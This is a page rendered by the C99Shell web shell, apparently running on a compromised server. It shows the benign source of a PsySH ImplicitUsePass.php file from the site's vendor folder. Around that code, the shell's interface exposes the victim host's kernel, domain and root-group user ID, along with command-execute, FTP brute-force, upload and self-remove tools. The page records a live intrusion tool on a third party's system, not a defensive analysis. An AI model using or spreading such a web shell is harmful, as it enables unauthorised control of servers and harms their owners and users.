!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/adflow-backend.picotech.app/public_html/vendor/psy/psysh/src/CodeCleaner/   drwxr-xr-x
Free 25.03 GB of 117.98 GB (21.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ImplicitUsePass.php (12.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2025 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\CodeCleaner;

use 
PhpParser\Node;
use 
PhpParser\Node\Name;
use 
PhpParser\Node\Name\FullyQualified as FullyQualifiedName;
use 
PhpParser\Node\Stmt\GroupUse;
use 
PhpParser\Node\Stmt\Namespace_;
use 
PhpParser\Node\Stmt\Use_;
use 
PhpParser\Node\Stmt\UseItem;
use 
PhpParser\Node\Stmt\UseUse;
use 
PhpParser\PrettyPrinter\Standard as PrettyPrinter;
use 
Psy\CodeCleaner;

/**
 * Automatically add use statements for unqualified class references.
 *
 * When a user references a class by its short name (e.g., `User`), this pass attempts to find a
 * fully-qualified class name that matches. A use statement is added if:
 *
 * - There is no unqualified name (class/function/constant) with that short name
 * - There is no existing use statement or alias with that short name
 * - There is exactly one matching class/interface/trait in the configured namespaces
 *
 * For example, in a project with `App\Model\User` and `App\View\User` classes, if configured with
 * 'includeNamespaces' => ['App\Model'], `new User` would become `use App\Model\User; new User;`
 * even though there's also an `App\View\User` class.
 *
 * Works great with autoload warming (--warm-autoload) to pre-load classes.
 */
class ImplicitUsePass extends CodeCleanerPass
{
    private ?array 
$shortNameMap null;
    private array 
$implicitUses = [];
    private array 
$seenNames = [];
    private array 
$existingAliases = [];
    private array 
$includeNamespaces = [];
    private array 
$excludeNamespaces = [];
    private ?
string $currentNamespace null;
    private ?
CodeCleaner $cleaner null;
    private ?
PrettyPrinter $printer null;

    
/**
     * @param array            $config  Configuration array with 'includeNamespaces' and/or 'excludeNamespaces'
     * @param CodeCleaner|null $cleaner CodeCleaner instance for logging
     */
    
public function __construct(array $config = [], ?CodeCleaner $cleaner null)
    {
        
$this->includeNamespaces $this->normalizeNamespaces($config['includeNamespaces'] ?? []);
        
$this->excludeNamespaces $this->normalizeNamespaces($config['excludeNamespaces'] ?? []);
        
$this->cleaner $cleaner;
    }

    
/**
     * {@inheritdoc}
     */
    
public function beforeTraverse(array $nodes)
    {
        if (empty(
$this->includeNamespaces) && empty($this->excludeNamespaces)) {
            return 
null;
        }

        
$this->buildShortNameMap();

        
// Reset state for this traversal
        
$this->implicitUses = [];
        
$this->seenNames = [];
        
$this->existingAliases = [];
        
$this->currentNamespace null;

        
$modified false;

        
// Collect use statements and seen names for each namespace
        
foreach ($nodes as $node) {
            if (
$node instanceof Namespace_) {
                
$this->currentNamespace $node->name $node->name->toString() : null;

                
$perNamespaceAliases = [];
                
$perNamespaceUses = [];
                
$perNamespaceSeen = [];

                if (
$node->stmts !== null) {
                    
$this->collectAliasesInNodes($node->stmts$perNamespaceAliases);
                    
$this->collectNamesInNodes($node->stmts$perNamespaceSeen$perNamespaceAliases$perNamespaceUses);
                }

                if (!empty(
$perNamespaceUses)) {
                    
$this->logAddedUses($perNamespaceUses);
                    
$node->stmts \array_merge($this->createUseStatements($perNamespaceUses), $node->stmts ?? []);
                    
$modified true;
                }
            }
        }

        
$hasNamespace false;
        foreach (
$nodes as $node) {
            if (
$node instanceof Namespace_) {
                
$hasNamespace true;
                break;
            }
        }

        
// Collect use statements and seen names for top-level namespace
        
if (!$hasNamespace) {
            
$this->currentNamespace null;
            
$topLevelAliases = [];
            
$topLevelUses = [];
            
$topLevelSeen = [];

            
$this->collectAliasesInNodes($nodes$topLevelAliases);
            
$this->collectNamesInNodes($nodes$topLevelSeen$topLevelAliases$topLevelUses);

            if (!empty(
$topLevelUses)) {
                
$this->logAddedUses($topLevelUses);

                return 
\array_merge($this->createUseStatements($topLevelUses), $nodes);
            }
        }

        return 
$modified $nodes null;
    }

    
/**
     * Collect aliases in a set of nodes.
     *
     * @param array $nodes   Array of Node objects
     * @param array $aliases Associative array mapping lowercase alias names to true
     */
    
private function collectAliasesInNodes(array $nodes, array &$aliases): void
    
{
        foreach (
$nodes as $node) {
            if (
$node instanceof Use_ || $node instanceof GroupUse) {
                foreach (
$node->uses as $useItem) {
                    
$alias $useItem->getAlias();
                    if (
$alias !== null) {
                        
$aliasStr $alias instanceof Name $alias->toString() : (string) $alias;
                        
$aliases[\strtolower($aliasStr)] = true;
                    } else {
                        
$aliases[\strtolower($this->getShortName($useItem->name))] = true;
                    }
                }
            }
        }
    }

    
/**
     * Collect unqualified names in nodes.
     *
     * @param array $nodes   Array of Node objects to traverse
     * @param array $seen    Lowercase short names already processed
     * @param array $aliases Lowercase alias names that exist in this namespace
     * @param array $uses    Map of short names to FQNs for implicit use statements
     */
    
private function collectNamesInNodes(array $nodes, array &$seen, array $aliases, array &$uses): void
    
{
        foreach (
$nodes as $node) {
            if (!
$node instanceof Node || $node instanceof Use_) {
                continue;
            }

            if (
$node instanceof Name && !$node instanceof FullyQualifiedName) {
                if (!
$this->isQualified($node)) {
                    
$shortName $this->getShortName($node);
                    
$shortNameLower \strtolower($shortName);

                    if (isset(
$seen[$shortNameLower])) {
                        continue;
                    }

                    
$seen[$shortNameLower] = true;

                    if (
$this->shouldAddImplicitUseInContext($shortName$shortNameLower$aliases)) {
                        
$uses[$shortName] = $this->shortNameMap[$shortNameLower];
                    }
                }
            }

            foreach (
$node->getSubNodeNames() as $subNodeName) {
                
$subNode $node->$subNodeName;
                if (
$subNode instanceof Node) {
                    
$subNode = [$subNode];
                }

                if (
\is_array($subNode)) {
                    
$this->collectNamesInNodes($subNode$seen$aliases$uses);
                }
            }
        }
    }

    
/**
     * Create Use_ statement nodes from uses array.
     *
     * @param array $uses Associative array mapping short names to FQNs
     *
     * @return Use_[]
     */
    
private function createUseStatements(array $uses): array
    {
        
\asort($uses);

        
$useStatements = [];
        foreach (
$uses as $fqn) {
            
$useItem \class_exists(UseItem::class) ? new UseItem(new Name($fqn)) : new UseUse(new Name($fqn));
            
$useStatements[] = new Use_([$useItem]);
        }

        return 
$useStatements;
    }

    
/**
     * Check if we should add an implicit use statement for this name in current context.
     *
     * @param string $shortName      Original case short name
     * @param string $shortNameLower Lowercase short name for comparison
     * @param array  $aliases        Lowercase alias names that exist in this namespace
     */
    
private function shouldAddImplicitUseInContext(string $shortNamestring $shortNameLower, array $aliases): bool
    
{
        
// Rule 1: No existing unqualified name (class/interface/trait) with that short name
        
if (\class_exists($shortNamefalse) || \interface_exists($shortNamefalse) || \trait_exists($shortNamefalse)) {
            return 
false;
        }

        
// Rule 2: No existing use statement or alias with that short name
        
if (isset($aliases[$shortNameLower])) {
            return 
false;
        }

        
// Rule 3: Exactly one matching short class/interface/trait in configured namespaces
        
if (!isset($this->shortNameMap[$shortNameLower]) || $this->shortNameMap[$shortNameLower] === null) {
            return 
false;
        }

        
// Rule 4: Don't add use statement if the class exists in the current namespace
        
if ($this->currentNamespace !== null) {
            
$expectedFqn \trim($this->currentNamespace'\\').'\\'.$shortName;

            if (
\class_exists($expectedFqnfalse) || \interface_exists($expectedFqnfalse) || \trait_exists($expectedFqnfalse)) {
                return 
false;
            }
        }

        return 
true;
    }

    
/**
     * Build a map of short class names to fully-qualified names.
     *
     * Uses get_declared_classes(), get_declared_interfaces(), and get_declared_traits()
     * to find all currently loaded classes. Only includes classes matching the configured
     * namespace filters. Detects ambiguous short names (multiple FQNs with same short name
     * within the filtered namespaces) and marks them as null.
     */
    
private function buildShortNameMap(): void
    
{
        
$this->shortNameMap = [];

        
$allClasses \array_merge(
            
\get_declared_classes(),
            
\get_declared_interfaces(),
            
\get_declared_traits()
        );

        
// First pass: collect all matching classes
        
$candidatesByShortName = [];
        foreach (
$allClasses as $fqn) {
            if (!
$this->shouldIncludeClass($fqn)) {
                continue;
            }

            
$parts \explode('\\'$fqn);
            
$shortName \strtolower(\end($parts));

            if (!isset(
$candidatesByShortName[$shortName])) {
                
$candidatesByShortName[$shortName] = [];
            }
            
$candidatesByShortName[$shortName][] = $fqn;
        }

        
// Second pass: determine if each short name is unique or ambiguous
        
foreach ($candidatesByShortName as $shortName => $fqns) {
            
$uniqueFqns \array_unique($fqns);
            
// Mark as null if ambiguous (multiple FQNs with same short name)
            
$this->shortNameMap[$shortName] = (\count($uniqueFqns) === 1) ? $uniqueFqns[0] : null;
        }
    }

    
/**
     * Check if a class should be aliased based on namespace filters.
     *
     * @param string $fqn Fully-qualified class name
     */
    
private function shouldIncludeClass(string $fqn): bool
    
{
        if (
\strpos($fqn'\\') === false) {
            return 
false;
        }

        if (empty(
$this->includeNamespaces) && empty($this->excludeNamespaces)) {
            return 
false;
        }

        foreach (
$this->excludeNamespaces as $namespace) {
            if (
\stripos($fqn$namespace) === 0) {
                return 
false;
            }
        }

        if (empty(
$this->includeNamespaces)) {
            return 
true;
        }

        foreach (
$this->includeNamespaces as $namespace) {
            if (
\stripos($fqn$namespace) === 0) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * Normalize namespace prefixes.
     *
     * Removes leading backslash and ensures trailing backslash.
     *
     * @param string[] $namespaces
     *
     * @return string[]
     */
    
private function normalizeNamespaces(array $namespaces): array
    {
        return 
\array_map(function ($namespace) {
            return 
\trim($namespace'\\').'\\';
        }, 
$namespaces);
    }

    
/**
     * Get short name from a Name node.
     */
    
private function getShortName(Name $name): string
    
{
        
$parts $this->getParts($name);

        return 
\end($parts);
    }

    
/**
     * Check if a name is qualified (contains namespace separator).
     */
    
private function isQualified(Name $name): bool
    
{
        return 
\count($this->getParts($name)) > 1;
    }

    
/**
     * Backwards compatibility shim for PHP-Parser 4.x.
     *
     * @return string[]
     */
    
private function getParts(Name $name): array
    {
        return 
\method_exists($name'getParts') ? $name->getParts() : $name->parts;
    }

    
/**
     * Log added use statements to the CodeCleaner.
     *
     * @param array $uses Associative array mapping short names to FQNs
     */
    
private function logAddedUses(array $uses): void
    
{
        if (
$this->cleaner === null || empty($uses)) {
            return;
        }

        if (
$this->printer === null) {
            
$this->printer = new PrettyPrinter();
        }

        
$useStmts $this->createUseStatements($uses);
        
$this->cleaner->log($this->printer->prettyPrint($useStmts));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--